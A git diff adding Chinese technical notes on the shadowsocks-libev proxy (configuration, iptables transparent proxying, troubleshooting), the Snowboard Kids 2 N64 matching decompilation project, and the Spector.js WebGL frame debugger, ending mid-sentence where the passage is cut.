TCP REDIRECT +- 服务端 `-U` 可设为仅 UDP(少见) + +### 6. ss-manager 与多用户 + +单机想给不同用户不同端口/密码,不必手写多个 systemd 单元:起 `ss-manager`,它按 API 动态 fork `ss-server` 子进程。控制协议是 **Unix domain socket 上的 UDP 报文**,例如: + +``` +add: {"server_port": 8001, "password":"7cd308cc059"} +remove: {"server_port": 8001} +ping +``` + +回复 `stat: {"8001":11370}` 可拉取各端口流量统计——适合面板或计费系统对接。 + +### 7. 与 VPN(WireGuard / OpenVPN)的边界 + +| | Shadowsocks | WireGuard 等 VPN | +|--|-------------|------------------| +| 工作层 | 代理(SOCKS5 / 透明代理) | 三层隧道,虚拟网卡 | +| 应用感知 | 要设代理或网关劫持 | 路由表全局生效 | +| 特征 | 单端口加密流 | UDP 握手 + 固定 peer 结构 | +| 典型场景 | 浏览器/指定 App 翻墙 | 整网段进隧道 | + +二者常组合:路由器 `ss-redir` 做选择性代理,公司笔记本再叠 WireGuard 回内网——互不替代。 + +## 安装速览 + +**Debian / Ubuntu**(包名随发行版略有差异): + +```bash +sudo apt update +sudo apt install shadowsocks-libev +# 配置文件通常在 /etc/shadowsocks-libev/config.json +``` + +**从源码**(需 autotools、libev、libsodium 等依赖,见仓库 `README`): + +```bash +git clone https://github.com/shadowsocks/shadowsocks-libev.git +cd shadowsocks-libev +./autogen.sh && ./configure && make +sudo make install +``` + +OpenWrt 上常通过 `opkg install shadowsocks-libev-ss-local shadowsocks-libev-ss-redir` 只装需要的子包,节省 Flash。 + +## 实践示例 + +### 示例 1:服务端 `ss-server` + systemd + +`/etc/shadowsocks-libev/config.json`(仅服务端字段): + +```json +{ + "server": ["::0", "0.0.0.0"], + "server_port": 8388, + "password": "请换成高强度随机口令", + "timeout": 300, + "method": "chacha20-ietf-poly1305", + "mode": "tcp_and_udp", + "fast_open": true, + "reuse_port": true, + "nameserver": "1.1.1.1" +} +``` + +说明: + +- `server` 写成数组可同时监听 IPv4/IPv6 +- `mode: tcp_and_udp` 让客户端能解析 UDP DNS +- `fast_open` / `reuse_port` 仅 Linux 有效,高并发时减轻握手延迟 + +Debian 系启用服务: + +```bash +sudo systemctl enable shadowsocks-libev-server@config +sudo systemctl start shadowsocks-libev-server@config +sudo systemctl status shadowsocks-libev-server@config +``` + +防火墙只放行你实际用的端口(示例 8388/tcp+udp): + +```bash +sudo ufw allow 8388/tcp +sudo ufw allow 8388/udp +``` + +验证端口在听: + +```bash +ss -tulnp | grep ss-server +``` + +### 示例 2:本机客户端 `ss-local` + 环境变量 + +客户端配置 `/etc/shadowsocks-libev/client.json`: + +```json +{ + "server": "203.0.113.10", + "server_port": 8388, + "local_address": "127.0.0.1", + "local_port": 1080, + "password": "请换成高强度随机口令", + "timeout": 300, + "method": "chacha20-ietf-poly1305", + "mode": "tcp_and_udp" +} +``` + +前台调试(看日志最直接): + +```bash +ss-local -c /etc/shadowsocks-libev/client.json -v +``` + +另开终端测试 SOCKS5 是否通: + +```bash +curl -x socks5h://127.0.0.1:1080 https://example.com -I --max-time 15 +``` + +让命令行走代理(仅当前 shell): + +```bash +export ALL_PROXY=socks5://127.0.0.1:1080 +export NO_PROXY=localhost,127.0.0.0/8,10.0.0.0/8,192.168.0.0/16 +git clone https://github.com/shadowsocks/shadowsocks-libev.git # 测试 git over SOCKS +``` + +浏览器侧在 Firefox 网络设置选手动代理 SOCKS5 `127.0.0.1:1080`,并勾选「代理 DNS」以免 DNS 泄漏。 + +### 示例 3:网关透明代理 `ss-redir`(片段) + +在 Linux 网关上用 `ss-redir` 把局域网 TCP 重定向到本地 12345(官方文档示例精简版)。**务必先把 SS 服务器 IP 加入 RETURN 规则**,否则流量会死循环。 + +```bash +# 假设 SS 服务器公网 IP 为 203.0.113.10,ss-redir 监听 12345 +iptables -t nat -N SHADOWSOCKS +iptables -t nat -A SHADOWSOCKS -d 203.0.113.10 -j RETURN +iptables -t nat -A SHADOWSOCKS -d 192.168.0.0/16 -j RETURN +iptables -t nat -A SHADOWSOCKS -p tcp -j REDIRECT --to-ports 12345 +iptables -t nat -A PREROUTING -p tcp -j SHADOWSOCKS + +ss-redir -u -c /etc/shadowsocks-libev/client.json -l 12345 -f /var/run/ss-redir.pid +``` + +UDP DNS 还需 mangle 表 TPROXY 与 `ip rule` 配合,生产环境建议直接参考官方 `doc/shadowsocks-libev.asciidoc` 完整 iptables 块,或在 OpenWrt 使用现成 luci-app 降低手写成本。 + +## 运维与排错 + +**连不上时按顺序查:** + +1. `method`、`password`、`server_port` 两端是否完全一致 +2. 云厂商安全组 / `ufw` 是否放行端口(TCP+UDP 若开了 `tcp_and_udp`) +3. 客户端是否误用服务端配置(客户端必须有 `local_address` / `local_port`) +4. 透明代理是否忘记 RETURN 服务器 IP 和 RFC1918 私网段 +5. 老 cipher 被中间设备干扰时,换成 `chacha20-ietf-poly1305` 再试 + +**日志:** + +```bash +ss-local -c client.json -v # 前台 verbose +journalctl -u shadowsocks-libev-server@config -f +``` + +**性能调优(Linux 服务端):** + +- 多核 VPS 可起多个 `ss-server` 实例并 `reuse_port`,由内核负载均衡 +- `timeout` 过大占用连接表,过小则长连接频繁重连;300s 是常见折中 +- 嵌入式设备优先 chacha 系 cipher,避免 AES-NI 缺席时的软实现开销 + +## 生态与演进 + +- **插件**:`simple-obfs` 等曾在运营商 QoS 严时流行,通过 `plugin` / `plugin_opts` 外挂;现在更常见的是换端口、套 TLS/WebSocket(由 v2ray/xray、sing-box 等方案承担,已超出 libev 本体) +- **替代实现**:[shadowsocks-rust](https://github.com/shadowsocks/shadowsocks-rust) 功能更全(ACL、多用户、outbound 链);**协议兼容**前提下可混用 server/client +- **法律与合规**:Shadowsocks 是通用加密代理工具,部署前须遵守当地法规与服务商 ToS;本文只讨论技术机制 + +## 小结 + +| 要点 | 一句话 | +|------|--------| +| 定位 | C + libev 的 Shadowsocks 参考实现,轻量高性能 | +| 组件 | `ss-server` 远端、`ss-local` SOCKS5、`ss-redir` 透明网关、`ss-tunnel` 端口转发、`ss-manager` 多用户 | +| 配置 | JSON 单文件,命令行可覆盖 | +| 加密 | 默认 `chacha20-ietf-poly1305`,两端必须一致 | +| 模式 | 应用代理简单;全局透明要 iptables + 防环路 | +| 适用 | VPS、路由器、资源紧张环境需要可靠 SS 协议栈时 | + +从零上手的最短路径:**境外起 `ss-server` → 本机 `ss-local` → `curl -x socks5h://127.0.0.1:1080` 验证**;确认无误后再考虑 `ss-redir`、systemd 开机自启与多用户 `ss-manager`。 + +## 延伸阅读 + +- 官方手册:[doc/shadowsocks-libev.asciidoc](https://github.com/shadowsocks/shadowsocks-libev/blob/master/doc/shadowsocks-libev.asciidoc) +- 各子命令 man 页:`ss-local(1)`、`ss-server(1)`、`ss-redir(1)`、`ss-manager(1)` +- Shadowsocks 协议说明:[shadowsocks.org](https://shadowsocks.org/) +- 同类笔记:[wireguard-go](/docs/projects/wireguard-go)(三层 VPN 对比)、[coturn](/docs/projects/coturn)(另一类 NAT 穿透问题) diff --git a/src/content/docs/projects/snowboard-kids-2-decomp.md b/src/content/docs/projects/snowboard-kids-2-decomp.md new file mode 100644 index 000000000..6587b7bf4 --- /dev/null +++ b/src/content/docs/projects/snowboard-kids-2-decomp.md @@ -0,0 +1,221 @@ +--- +title: Snowboard Kids 2 100% 反编译 — 把 N64 卡带「翻译」成可读 C 代码 +来源: 'https://github.com/cdlewis/snowboardkids2-decomp' +日期: 2026-06-13 +子分类: 类型与 PL 理论 +分类: 编程语言 +provenance: pipeline-v3 +难度: 中级 +--- + +## 是什么 + +2026 年 5 月,N64 经典滑雪竞速游戏 **Snowboard Kids 2**(日版名 *Chou Snobow Kids*)宣布达成 **100% matching decompilation**:仓库里每一个游戏函数都有对应的 C 实现,用现代工具链编译后生成的 MIPS 汇编,与 1999 年卡带 ROM 里的字节级结果一致。进度看板 [decomp.dev/cdlewis/snowboardkids2-decomp](https://decomp.dev/cdlewis/snowboardkids2-decomp) 显示约 **694 KB 代码**与 **18.56 MB 数据段**已全部匹配。 + +日常类比:原版 ROM 像一本只印了「机器语」的绝版书——你能玩,但没人看得懂剧情怎么写的。matching 反编译不是「猜个大概能跑」,而是**逐页对照**,用 C 重写每一章,再印刷出一本与原版逐字相同的复刻本。你手里仍需要合法持有的原卡带/ROM 作为「母本」;仓库本身**不包含**游戏资产与商业 ROM,只提供逆向出来的源码与构建脚本。 + +项目主页:[cdlewis/snowboardkids2-decomp](https://github.com/cdlewis/snowboardkids2-decomp)。维护者 Chris Lewis 在 [项目博客](https://blog.chrislewis.au/) 与 NeoGAF/Hacker News 上说明:里程碑意义在于把「一堆 MIPS 汇编写成的黑盒」变成可读、可构建、可研究、可 mod 的代码库——为 **recompilation(原生重编译到 PC 等平台)**、资源提取与机制分析铺路。注意:反编译仓库**不是** PC 移植本身;PC 可玩版本是并行的 [Snowboard Kids 2: Recompiled](https://github.com/snowboardkids2/snowboardkids2-recomp) 一类工作。 + +## 为什么重要 + +不了解这类 N64 反编译项目,很难理解近几年复古游戏社区的几次「质变」: + +- **SM64、Ocarina of Time、Pilotwings 64** 等 matching decomp 完成后,社区出现了大量机制 mod、60fps 补丁、调试菜单——因为改的是**有类型的 C**,不是在海量十六进制里盲改。 +- **「100% 反编译」≠「完全读懂」**:函数可能仍叫 `func_80041234`,结构体字段仍靠猜;但**构建闭环**(重编译 ROM 校验通过)证明行为与原版等价,后续命名与文档可以渐进完成。 +- **AI 辅助反编译**在 2024–2026 的 Snowboard Kids 2 项目上被系统验证:早期 one-shot 能把匹配率从约 25% 拉到 58%,尾部的图形 display list、矩阵运算等「长尾函数」仍要靠社区、相似函数检索、人工与更新一代模型硬啃。 +- **法律与伦理边界**:项目声明为 clean-room、非商业、需自备合法 ROM;不接受泄露源码或专有知识的贡献——这与「随便下个 ROM 就能发 PC 版」不是一回事。 + +## 核心概念 + +### 1. Matching decompilation(匹配式反编译) + +目标不是「写一个看起来像的游戏」,而是: + +``` +合法持有的原版 ROM → 提取资产 + 分析机器码 → 人工/工具写 C + ↓ + 编译 + 链接 + 打包 + ↓ + 新 ROM 与原版 SHA1 / 逐函数 asm diff 完全一致 +``` + +N64 游戏主 CPU 是 **MIPS R4300**,图形走 **RDP** 与 **F3DEX2** 等微码库。Snowboard Kids 2 使用任天堂标准 F3DEX2,比「游戏自带奇葩微码」的项目友好一些,但 **display list**(GPU 指令字节流)仍是最难啃的骨头之一。 + +### 2. 仓库里各目录分工 + +| 路径 | 作用 | +|------|------| +| `src/` | 已(或部分)反编译出的 C 源码 | +| `include/` | 结构体、常量、对外声明 | +| `asm/nonmatchings/` | 尚未匹配函数的原始汇编(每函数一文件) | +| `asm/matchings/` | 已匹配函数的汇编快照,便于对照 | +| `assets/` | 从 ROM 提取的二进制资产(贴图、音频等) | +| `lib/` | 链接用的库代码(如 Ultralib) | +| `tools/` | asm-differ、decomp 环境脚本、校验工具 | + +未匹配函数在 C 里通常以 **占位宏** 形式「引用」汇编文件,匹配成功后再替换成真正的 C 实现。 + +### 3. INCLUDE_ASM 占位与替换 + +反编译进行中的典型模式:C 文件里暂时拉入汇编,而不是空函数 stub: + +```c +// src/game/player.c(示意:进行中的常见写法) + +#include "common.h" + +// 尚未匹配时:直接嵌入从 ROM 抠出的 MIPS 汇编 +INCLUDE_ASM("asm/nonmatchings/game/player/update_player_physics"); + +void init_player(PlayerState* player) { + player->speed = 0; + player->airborne = FALSE; +} +``` + +当 `update_player_physics` 在 [decomp.me](https://decomp.me/) 或本地 scratch 里 **100% match** 后,删掉 `INCLUDE_ASM` 行,换成等价 C(项目要求尽量用结构体字段访问,避免裸指针算术): + +```c +void update_player_physics(PlayerState* player, f32 delta) { + if (player->airborne) { + player->velocity.y -= GRAVITY * delta; + } + player->position.x += player->velocity.x * delta; + player->position.y += player->velocity.y * delta; + player->position.z += player->velocity.z * delta; +} +``` + +然后必须跑完整构建校验——**单个函数在 scratch 里匹配**,不等于全项目仍能通过 ROM checksum。 + +### 4. 构建与「OK」判据 + +官方 README 给出的流程(Linux x86 已验证;Windows/macOS 仍在贡献 wishlist 中): + +```bash +# 1. 克隆含子模块 +git clone --recurse-submodules -j8 git@github.com:cdlewis/snowboardkids2-decomp.git +cd snowboardkids2-decomp + +# 2. 准备工具链与 Python 依赖 +make setup +python3 -m venv .venv && source .venv/bin/activate +python3 -m pip install -U -r requirements.txt + +# 3. 自备大端 Snowboard Kids 2 ROM,命名为 snowboardkids2.z64 放在仓库根目录 +make clean +make extract # 从 ROM 提取资产到 assets/ +make # 编译并链接 + +# 唯一公认的成功标准: +# build/snowboardkids2.z64: OK +``` + +`OK` 表示重生成的 ROM 与目标校验和一致。维护者在 agent 工作流里用 `./tools/build-and-verify.sh` 防止「改校验和假装成功」这类事故;改结构体后还要对**同文件内所有相关函数**跑 asm-differ,避免牵一发而动全身。 + +### 5. asm-differ:逐指令对照 + +```bash +# 查看某函数:编译出的汇编 vs ROM 中提取的汇编 +python3 tools/asm-differ/diff.py --no-pager update_player_physics +``` + +输出会标出哪条 MIPS 指令或哪个寄存器分配不一致。反编译者据此微调 C:换临时变量顺序、改 `s32`/`u32`、加 `volatile`、乃至在极少数行保留 `__asm__` 内联——Snowboard Kids 2 在 100% 时仍承认少量 asm hack 存在。 + +### 6. 反编译 vs 重编译(decomp vs recomp) + +| | Matching decomp | Native recompilation | +|--|----------------|----------------------| +| 产物 | 与原版相同的 `.z64` ROM | Windows/Linux 等原生可执行文件 | +| 是否需要原版 ROM 参与构建 | 是(提取资产 + 对照) | 通常链接反编译产物 + 平台 shim | +| 典型目标 | 证明等价、方便读代码与 mod 逻辑 | 宽屏、高帧率、现代输入、联机 | +| 本项目 | [snowboardkids2-decomp](https://github.com/cdlewis/snowboardkids2-decomp) | 社区中的 Recompiled 分支(宽屏、视距等已有演示) | + +两者是流水线上下站:没有可读、可构建的 C,原生移植只能停留在模拟器套壳;有了 100% decomp,PC 版可以真正编译为 x86_64/ARM 机器码,而不是模拟 MIPS。 + +### 7. 工具链与社区生态 + +- **[decomp.dev](https://decomp.dev/)**:各项目匹配率、历史曲线、CI 徽章。 +- **[decomp.me](https://decomp.me/)**:在线 scratch,协作匹配单个函数。 +- **N64 decompilation Discord**:Snowboard Kids 2 最后十个最难函数由 Bl00D4NGEL、inspectredc、SlaveOfIDO、queueRAM 等与维护者协作完成。 +- **相似函数检索**:后期用 Coddog、嵌入向量等方式找「长得像」的已匹配函数,给 LLM 当 few-shot 参考,比单纯按「指令条数」排序更有效。 +- **Docker + mips 交叉工具链**:`binutils-mips-linux-gnu` 等依赖保证编译出的汇编与 1999 年 IDO 编译器习惯对齐。 + +### 8. AI 辅助的真实边界(Chris Lewis 博客要点) + +- **前 50% 往往快**:coding agent 对中等复杂度 C 函数 one-shot 成功率高。 +- **长尾极难**:超过约 1000 条指令的巨型函数、F3DEX2 display list 宏展开、矩阵/向量数学——模型容易「放弃」或产出能编译但不匹配的 C。 +- **Permuter**(暴力重排表达式以蹭匹配)与 agent 结合容易引入脏代码,该项目后期曾停用 permuter 以免陷入噪声优化。 +- **工程纪律**:git worktree 并行、Claude hooks 禁止改 SHA1、任务编排器(如 Nigel)批量跑「重命名」「文档化」循环——说明这是**软件工程问题**,不只是「让模型看一眼汇编」。 + +## 实践案例 + +### 案例 1:从零验证「我真的在复刻卡带」 + +假设你已有合法 ROM,只想确认环境没骗人: + +```bash +cd snowboardkids2-decomp +sha1sum snowboardkids2.z64 # 记录原版指纹(与项目文档/US 版一致) +make clean && make extract && make +sha1sum build/snowboardkids2.z64 +# 若脚本输出 build/snowboardkids2.z64: OK,说明重编译产物与目标一致 +``` + +若 `make` 失败在链接或数据段,常见原因是 ROM 区域版本不对(需 **big-endian US** 命名 `snowboardkids2.z64`)或子模块未拉取完整。 + +### 案例 2:认领一个 nonmatching 函数 + +1. 在 [未匹配列表](https://chrislewis.au/snowboardkids2-decomp/) 或 `asm/nonmatchings/` 选一个函数。 +2. 运行项目脚本进入 isolated scratch(README/CLAUDE.md 中的 `./tools/claude-decomp.sh ` 一类入口)。 +3. 写 `base.c`、`base_2.c`… 迭代直到 `diff.py` 全绿。 +4. 回到主仓库替换 `INCLUDE_ASM`,跑 `./tools/build-and-verify.sh`。 +5. 提交 PR;**不得**基于泄露源码或从未玩过的「内部知识」。 + +贡献清单里长期欢迎:消 compiler warning、把 `D_80123456` 改成语义化名字、用结构体替换指针算术、补充 cheat code / 关卡加载文档——100% 匹配只是「可读性的起点」。 + +## 与相近项目的对比 + +| 项目 | 平台 | 状态(约 2026) | 备注 | +|------|------|-----------------|------| +| Snowboard Kids 2 decomp | N64 | **100% code matched** | 本笔记主题;AI+社区混合 | +| Super Mario 64 decomp | N64 | 早已 100% | 模改与学术研究标杆 | +| Zelda OOT / MM decomp | N64 | 100% | 机制分析、随机izer 基础 | +| Pilotwings 64 decomp | N64 | 100% | 体量较小 | +| Mario Golf 64 | N64 | 进行中 | 社区多条 N64 线并行 | + +Snowboard Kids 2 的特殊性在于:**中等体量、F3DEX2 标准图形栈、强烈怀旧属性但长期缺官方移植**——100% decomp 直接点燃了「宽屏 PC 版 + 可能的 SK1+SK2 合集」想象,但法律上仍依赖个人持有原版与社区非商业约定。 + +## 常见问题 + +**Q:仓库能直接让我免费玩吗?** +不能。没有 ROM 就无法 `make extract`;没有资产与匹配代码也编不出可玩镜像。Recompiled 发行若出现,也会是独立仓库与合规叙事。 + +**Q:100% 了为什么还说「工作在进行」?** +命名、结构体清理、资产 YAML 化、去掉 `__asm__`、SK1 反编译、Super Snowboard Kids 合集构想——这些是「理解游戏」层的工作,不匹配率不等于完成度。 + +**Q:想学反编译,从哪入门?** +先读 [decomp.me](https://decomp.me/) 教程与任意小型 N64 子系统;读 Chris Lewis 系列文章:《Using Coding Agents to Decompile Nintendo 64 Games》《The Long Tail of LLM-Assisted Decompilation》;在 Discord 里看别人 scratch。Snowboard Kids 2 已是**成熟期项目**,新手更适合从仍有 nonmatchings 或文档更友好的 decomp 入手,再把这里当「终点形态」参考。 + +**Q:和模拟器有什么关系?** +模拟器在运行时解释 MIPS;decomp 在开发时把 MIPS **还原成 C 再编译回 MIPS**。Recomp 则跳过 MIPS,直接生成主机原生代码。玩家最终可能三者都接触不到,但维护者路径不同。 + +## 小结 + +Snowboard Kids 2 的 **100% matching decompilation**(2026 年 5 月宣布,[decomp.dev](https://decomp.dev/cdlewis/snowboardkids2-decomp) 持续跟踪)把一款 1999 年的 N64 竞速游戏从「只能模拟器里跑的 ROM」变成了**可验证等价、可 fork、可文档化**的 C 工程。核心手法是:ROM 提取资产、`INCLUDE_ASM` 渐进替换、asm-differ 逐函数对齐、`build/snowboardkids2.z64: OK` 作为唯一验收标准。 + +对零基础学习者,最值得带走的三句话: + +1. **Matching** 追求的是字节级等价,不是「玩法差不多」。 +2. **社区 + 工具链 + 纪律化 CI** 与模型一样重要,尾部函数往往靠人收尾。 +3. **Decomp 是源代码里程碑,Recomp 才是玩家眼里的「上 PC」**——两者相关,但仓库职责不同。 + +若你关心 N64 硬件、复古移植或 LLM 在软件考古中的边界,Snowboard Kids 2 是目前(2026)最能同时看到「热血成果」与「诚实长尾」的公开案例之一。 + +## 延伸阅读 + +- 仓库 README 与 [Contributing](https://github.com/cdlewis/snowboardkids2-decomp/blob/main/README.md) +- 进度看板:[decomp.dev — Snowboard Kids 2](https://decomp.dev/cdlewis/snowboardkids2-decomp) +- 维护者博客:[Snowboard Kids 2 is 100% Decompiled](https://blog.chrislewis.au/) 及 LLM 辅助反编译系列 +- 讨论串:[NeoGAF](https://www.neogaf.com/threads/snowboard-kids-2-is-100-decompiled.1696938/) / [Hacker News](https://news.ycombinator.com/item?id=48284494) +- 相似生态:[@n64decomp](https://github.com/n64decomp) 组织下各项目、Zelda 反编译 Wiki 风格文档 diff --git a/src/content/docs/projects/spectorjs.md b/src/content/docs/projects/spectorjs.md new file mode 100644 index 000000000..2139d2fd4 --- /dev/null +++ b/src/content/docs/projects/spectorjs.md @@ -0,0 +1,290 @@ +--- +title: Spector.js — WebGL/WebGPU 调试器 +来源: 'https://github.com/BabylonJS/Spector.js' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +--- + +## 是什么 + +**Spector.js** 是 Babylon.js 团队维护的 **WebGL / WebGL2 帧级调试器**:它拦截并记录某一帧内所有 GL 调用,连同当时的纹理、着色器、缓冲区、帧缓冲和中间渲染结果,一起放进可交互的时间线里供你逐条回放。 + +日常类比: + +> 原生 WebGL 像一家后厨:厨师(你的代码)不断下单——绑纹理、改 uniform、draw call——但顾客(你)只能看到最终上桌的菜(canvas 像素),中间哪一步盐放多了完全不知道。Spector.js 相当于在厨房装了 **全程监控 + 每步试吃**:每一道「工序」都有快照,你可以从最后一帧往回倒带,看「绑定了哪张纹理」「这个 draw call 之前 framebuffer 长什么样」。 + +与 Chrome DevTools 的 Performance 面板不同,Spector 专注 **图形 API 语义层**,而不是 JS 堆栈或 CPU 采样。它与引擎无关——Three.js、Babylon.js、PlayCanvas、regl、手写 WebGL 都能抓,只要最终走的是 `WebGLRenderingContext` / `WebGL2RenderingContext`。 + +官方提供三种使用形态: + +| 形态 | 适用场景 | +|------|----------| +| **浏览器扩展**(Chrome / Firefox) | 调试任意网站,零侵入 | +| **npm 包 `spectorjs`** | 嵌入自己的 demo / 内网工具页 | +| **MCP Server** | 让 AI 助手远程加载 URL、抓帧、读 draw call | + +官网:[spector.babylonjs.com](https://spector.babylonjs.com) + +## 为什么重要 + +不理解 Spector.js,下面几件事很难排查: + +- 画面全黑 / 全粉(shader 编译失败)——需要看 **哪条 linkProgram 报错、编译日志是什么** +- 「多 pass 后颜色不对」——需要对比 **每次 `bindFramebuffer` 前后 attachments 里到底有什么** +- draw call 数量爆炸导致移动端掉帧——需要数 **每帧到底发了多少次 drawArrays / drawElements** +- Worker + OffscreenCanvas 架构——主线程 DevTools 看不到 Worker 里的 GL,需要 **Worker 侧 capture** +- 引擎升级 WebGL2 后旧工具(如 WebGL Inspector)失效——Spector 同时支持 WebGL1/2 + +一句话:**当「像素结果」和「你的 mental model」对不上时,Spector 是把 GPU 黑盒打开的最短路径。** + +## 核心概念 + +### 1. Capture(捕获):一帧的「GL 录像带」 + +一次 capture 不是截图,而是 **有序命令列表 + 每步 GL 状态 + 可选缩略图**。核心 API: + +- `captureNextFrame(canvas | gl)` — 等下一帧结束后自动停止 +- `startCapture(obj, commandCount, quickCapture?)` — 抓满 N 条 GL 命令或 10 秒超时 +- `stopCapture()` — 手动结束,返回 JSON 结构的 `ICapture` + +`quickCapture: true` 时跳过每步缩略图,适合命令量极大的场景。 + +### 2. Spy(监听):先挂钩,再录制 + +`spyCanvases()` 会在 **capture 之前** 就开始跟踪 canvas / context 上的 GL 调用,从而记录纹理上传、buffer 创建等「帧外」信息——内存占用、纹理输入历史在 UI 里才完整。 + +类比:Spy 是「一直开着的监控」,Capture 是你按下的「导出这一段」。 + +### 3. Command List + Visual State + +捕获结果里每条命令通常包含: + +- 函数名与参数(如 `drawElements(4, 36, 5123, 0)`) +- 调用时的 **GL 状态快照**(当前 program、bound textures、viewport、blend 等) +- **Visual State**:执行该命令后 framebuffer 内容的缩略图(非 quick 模式) + +你可以在 UI 里点击任意 draw call,右侧看 shader 源码、uniform 值、顶点布局。 + +### 4. Marker 与自定义元数据 + +调试多 pass 管线时,用 marker 在时间线上打书签: + +```javascript +spector.setMarker('ShadowPass'); +// ... shadow map draws ... +spector.clearMarker(); +``` + +给 WebGL 对象起可读名字(引擎资源追踪): + +```javascript +const buf = gl.createBuffer(); +buf.__SPECTOR_Metadata = { name: 'cubeVerticesColorBuffer' }; +``` + +Capture UI 里会显示 `cubeVerticesColorBuffer`,而不是匿名的 `WebGLBuffer #17`。 + +### 5. OffscreenCanvas 与 Worker + +现代架构常把渲染放进 Worker。Spector 提供两套 bundle: + +| 文件 | 用途 | +|------|------| +| `dist/spector.bundle.js` | 主线程,含完整 UI | +| `dist/spector.worker.bundle.js` | Worker 内 headless 拦截 | + +主线程用 `spyWorker(worker)` 建桥,再 `captureWorker(worker)` 触发 Worker 侧抓帧。 + +### 6. 与 WebGPU 的关系 + +项目名称和 roadmap 里常出现 WebGPU,但 **当前稳定版仍以 WebGL/WebGL2 为主**。WebGPU 调试生态仍在演进;学 Spector 的价值在于理解「帧级图形调试器」应提供什么信息——命令序列、资源绑定、中间 RT——这些概念在 WebGPU 工具(RenderDoc 思路、浏览器未来内置层)里同样适用。 + +## 安装与入口 + +```bash +npm install spectorjs +``` + +CDN(版本以 npm 为准): + +```html + +``` + +浏览器扩展(零代码调试任意页): + +- [Chrome Web Store — Spector.js](https://chrome.google.com/webstore/detail/spectorjs/denbgaamihkadbghdceggmchnflmhpmk) +- [Firefox Add-ons](https://addons.mozilla.org/en-US/firefox/addon/spector-js/) + +扩展启用后,页面上的 `` 会出现 Spector 图标;也可在控制台用全局 `spector` 对象编程触发 capture(与嵌入版 API 一致)。 + +## 代码示例 + +### 示例 1:嵌入页面 — 显示 UI + 抓取下一帧 + +适合本地 demo:边改 shader 边点「Capture」。 + +```javascript +import { Spector } from 'spectorjs'; + +const canvas = document.getElementById('glcanvas'); +const spector = new Spector(); + +// 可选:提前 spy,记录纹理上传等帧外操作 +spector.spyCanvases(); + +// 内嵌调试面板(左上角 capture 按钮、结果视图) +spector.displayUI(); + +// 编程式:下一帧结束后拿到 JSON +spector.onCapture.add((capture) => { + console.log('commands:', capture.commands.length); + // 可持久化、做 CI 回归对比、或发给同事 + localStorage.setItem('lastCapture', JSON.stringify(capture)); +}); + +document.getElementById('btnCapture').addEventListener('click', () => { + spector.captureCanvas(canvas); +}); +``` + +配合最小 WebGL 循环:只要 canvas 上有 draw call,`captureCanvas` 就能工作,与是否使用引擎无关。 + +### 示例 2:按命令数量截断 + Marker 分段 + +适合分析「阴影 pass 和光照 pass 各有多少 draw call」: + +```javascript +const spector = new Spector(); +spector.displayUI(); + +function renderFrame() { + spector.setMarker('DepthPrePass'); + renderDepthOnly(); + + spector.setMarker('MainColorPass'); + renderOpaque(); + renderTransparent(); + + spector.clearMarker(); + requestAnimationFrame(renderFrame); +} + +// 只抓前 200 条 GL 命令,quick 模式加快速度 +spector.startCapture(canvas, 200, true); + +// 或在 DevTools 里: +// spector.startCapture(document.querySelector('canvas'), 500); +``` + +在 Result 面板搜索 marker 名称,或搜 `LOG` 过滤 `spector.log('message')` 插入的自定义日志点。 + +### 示例 3:Worker + OffscreenCanvas(架构级调试) + +**主线程:** + +```javascript +const spector = new Spector(); +const worker = new Worker('render-worker.js', { type: 'classic' }); + +spector.spyWorker(worker); + +spector.onCapture.add((capture) => { + spector.getResultUI().display(); + spector.getResultUI().addCapture(capture); +}); + +document.getElementById('capture').onclick = () => { + spector.captureWorker(worker, undefined, false, true); +}; +``` + +**render-worker.js:** + +```javascript +importScripts('spector.worker.bundle.js'); + +const canvas = new OffscreenCanvas(800, 600); +const gl = canvas.getContext('webgl2'); + +function frame() { + gl.clearColor(0.1, 0.1, 0.15, 1); + gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT); + // ... 你的 draw calls ... + setTimeout(frame, 16); +} +frame(); +``` + +`spyWorkers('spector.worker.bundle.js')` 可自动注入到新 Worker,但在 CSP 严格或 module Worker 下可能失败——**手动 `spyWorker` 更可靠**。 + +## 典型调试工作流 + +1. **复现问题帧** — 暂停游戏逻辑或锁定相机,减少 capture 噪声 +2. **Capture** — 扩展一键抓帧,或代码里 `captureNextFrame` +3. **从后往前搜** — 最后几条 draw call 往往对应屏幕可见内容;往前找第一个「变全黑/变粉」的步骤 +4. **查状态** — 该步 bound program、texture unit、depth test、blend 是否符合预期 +5. **Shader 面板** — 看编译错误、对比 vertex/fragment 源码与引擎里文件是否一致 +6. **导出 JSON** — 团队异步排查,或做「capture diff」回归(同一场景升级引擎前后对比命令数) + +Real Time Rendering 博客有 [Debugging WebGL with SpectorJS](http://www.realtimerendering.com/blog/debugging-webgl-with-spectorjs/) 图文教程,扩展版操作与嵌入版 API 互通。 + +## 与周边工具的分工 + +| 工具 | 擅长 | 不擅长 | +|------|------|--------| +| **Spector.js** | GL 命令时间线、每步 RT、shader/uniform | JS CPU 性能、内存泄漏 | +| **Chrome Performance** | JS 耗时、GPU 粗粒度时间线 | 单条 draw call 的 GL 参数 | +| **WebGL Inspector**(旧) | 经典 WebGL1 场景 | WebGL2、现代维护 | +| **引擎内置 Inspector**(如 Babylon `scene.debugLayer`) | 场景图、材质业务语义 | 跨引擎、Vanilla WebGL | +| **Spector MCP** | AI 驱动「打开 URL → 抓帧 → 读 draw call」 | 需本地构建 MCP server | + +做 [Babylon.js](/docs/projects/babylonjs) 项目时,引擎 Inspector 管「场景语义」,Spector 管「底层 GL 是否与预期一致」——两者互补。 + +## Shader live 编辑说明 + +Spector 内嵌 shader 编辑器,但 **完整重编译 + 自动重绑所有 uniform/VAO/UBO** 在通用场景里极不可靠。官方策略:支持 live 编辑的引擎(如 Babylon.js)在 `linkProgram` 后挂载 `rebuildProgram(vertex, fragment, onCompiled, onError)`,由 **引擎自己** 负责重链与状态恢复。Vanilla WebGL 项目更适合「复制 shader → 本地改 → 刷新页面」。 + +## MCP Server(AI 辅助调试) + +仓库自带 MCP server,可在 Cursor 等客户端配置后: + +```json +{ + "mcpServers": { + "spector": { + "command": "node", + "args": ["/mcp/dist/index.js"] + } + } +} +``` + +构建步骤见仓库 `mcp/README.md`(`npm run mcp:install` / `mcp:build`)。适合「把线上 WebGL demo URL 丢给 AI,让它读 capture 结构」的工作流。 + +## 局限与注意 + +- **开销**:完整 capture(含缩略图)在大场景下可能卡顿;开发时用 `quickCapture` 或限制 `commandCount` +- **WebGPU**:不要假设当前 